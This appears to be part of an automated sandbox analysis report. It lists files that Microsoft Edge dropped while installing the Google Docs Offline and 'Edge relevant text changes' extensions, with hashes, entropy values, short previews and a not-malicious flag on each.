MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11406
Entropy (8bit):	5.745845607168024
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuH+svyw6r+cgTSJJT4LGkt:m8IEI4u8/EgG4
MD5:	0A68C9539A188B8BB4F9573F2F2321D6
SHA1:	E0F814FA4DCC04EDC6A5D39CBC1038979E88F0E5
SHA-256:	39E6C25D096AFD156644F07586D85E37F1F7B3DA9B636471E8D15CEB14DB184F
SHA-512:	13F133C173C6622B8E1B6F86A551CBC5B0B2446B3CF96E4AE8CA2646009B99E4A360C2DB3168CB94A488FAEBD215003DFA60D10150B7A85B5F8919900BD01CCC
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417954053901
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj17x9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/AP7xgiVb
MD5:	5E425DC36364927B1348F6C48B68C948
SHA1:	9E411B88453DEF3F7CFCB3EAA543C69AD832B82F
SHA-256:	32D9C8DE71A40D71FC61AD52AA07E809D07DF57A2F4F7855E8FC300F87FFC642
SHA-512:	C19217B9AF82C1EE1015D4DFC4234A5CE0A4E482430455ABAAFAE3F9C8AE0F7E5D2ED7727502760F1B0656F0A079CB23B132188AE425E001802738A91D8C5D79
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4882)
Category:	dropped
Size (bytes):	122218
Entropy (8bit):	5.439997574414675
Encrypted:	false
SSDEEP:	1536:naCwKqAbNBbV9HGsR43l9S6w3xu7gXMgaG0R6RxNbF4Ki3wqP+PrQY2PEtb1B:Jfcs1XMr2zbF4Ki+PkPEfB
MD5:	67C4451398037DD1C497A1EA98227630
SHA1:	F5BB00D46BCAB5A8A02E68E4895AEB6859B74AA8
SHA-256:	59123D5A34A319791E90391FC55F0F4B8F5ABB6DB67353609DB25ACC3E99C166
SHA-512:	17F35CE2A11C26168CC52C4AE2BEC548A1AEB1B1F9CB3475B0552BDE71CFE94C5C0C4F3F51267EF7C7D9B0E01E1D1259F48968E70EE1E905471BA0C76ECA81EA
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var ha=ea(this);function r(a,b){if(b)a:{var c=ha;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4882)
Category:	dropped
Size (bytes):	130866
Entropy (8bit):	5.425065147784983
Encrypted:	false
SSDEEP:	1536:zKjBw7l0GLFqjLmqoTquyBQCGLu5fJDX5pwPGFSS2IH0dKxQ5SbNyO+DrxZlkaY8:XYQi3DX5WkfH0dKxdboDrNOdor
MD5:	1A8A1F4E5BA291867D4FA8EF94243EFA
SHA1:	B25076D2AE85BD5E4ABA935F758D5122CCB82C36
SHA-256:	441385D13C00F82ABEEDD56EC9A7B2FE90658C9AACB7824DEA47BB46440C335B
SHA-512:	F05668098B11C60D0DDC3555FCB51C3868BB07BA20597358EBA3FEED91E59F122E07ECB0BD06743461DFFF8981E3E75A53217713ABF2A78FB4F955641F63537C
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var fa=ea(this);function r(a,b){if(b)a:{var c=fa;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\d1a8e55b-9bd2-4cd9-9a46-6b74e8c3b0a9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154477
Entropy (8bit):	7.835886983924039
Encrypted:	false
SSDEEP:	3072:edP3YiyHk53xr3zWwaFYgn5JFug0HjaHNK7XeSD/r/pLbWNiOAo1np:edPYJHAzyVu7HjacuSD/rBPBOJnp
MD5:	14937B985303ECCE4196154A24FC369A
SHA1:	ECFE89E11A8D08CE0C8745FF5735D5EDAD683730
SHA-256:	71006A5311819FEF45C659428944897184880BCDB571BF68C52B3D6EE97682FF
SHA-512:	1D03C75E4D2CD57EEE7B0E93E2DE293B41F280C415FB2446AC234FC5AFD11FE2F2FCC8AB9843DB0847C2CE6BD7DF7213FCF249EA71896FBF6C0696E3F5AEE46C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........%0............G.m.}...CG.....a.s.:.S..QiI.fT.k.MdOF.2....D...v`m...M.7'.R.d...8....2..~.<w8!.W..Sg.._A6.(.pC..w.=..!..7h!J...].....3......Kf..k...\|....6./.p.....A....e.1.y.<~Mu..+(v8W........?=.V+.Gb&...u8)...=Qt...... ......x.}.f..&X.SN9e..L....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!....~..E...Au.C.q..y.?2An.a..Zn}. H~.vtgI...o.\|.j.e....p.........".&...........Z]o.H..+..zF.......S.E}@.F..".P`...3......jW....H.H...:..8.......<...........Z.e.>..vV.......J.,/.X.....?.%.....6....m#.u].Z...[.s.M_...J.."9l..l...,\|.....r...QC.....4:....wj.O...5....s.n.%.....y....c.....#F........)gv(..!S

C:\Users\user\AppData\Local\Temp\scoped_dir7500_645719421\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7500_645719421\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7500_645719421\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7500_645719421\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_645719421\da779bcb-846c-4484-b5c0-a955f07a0c60.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
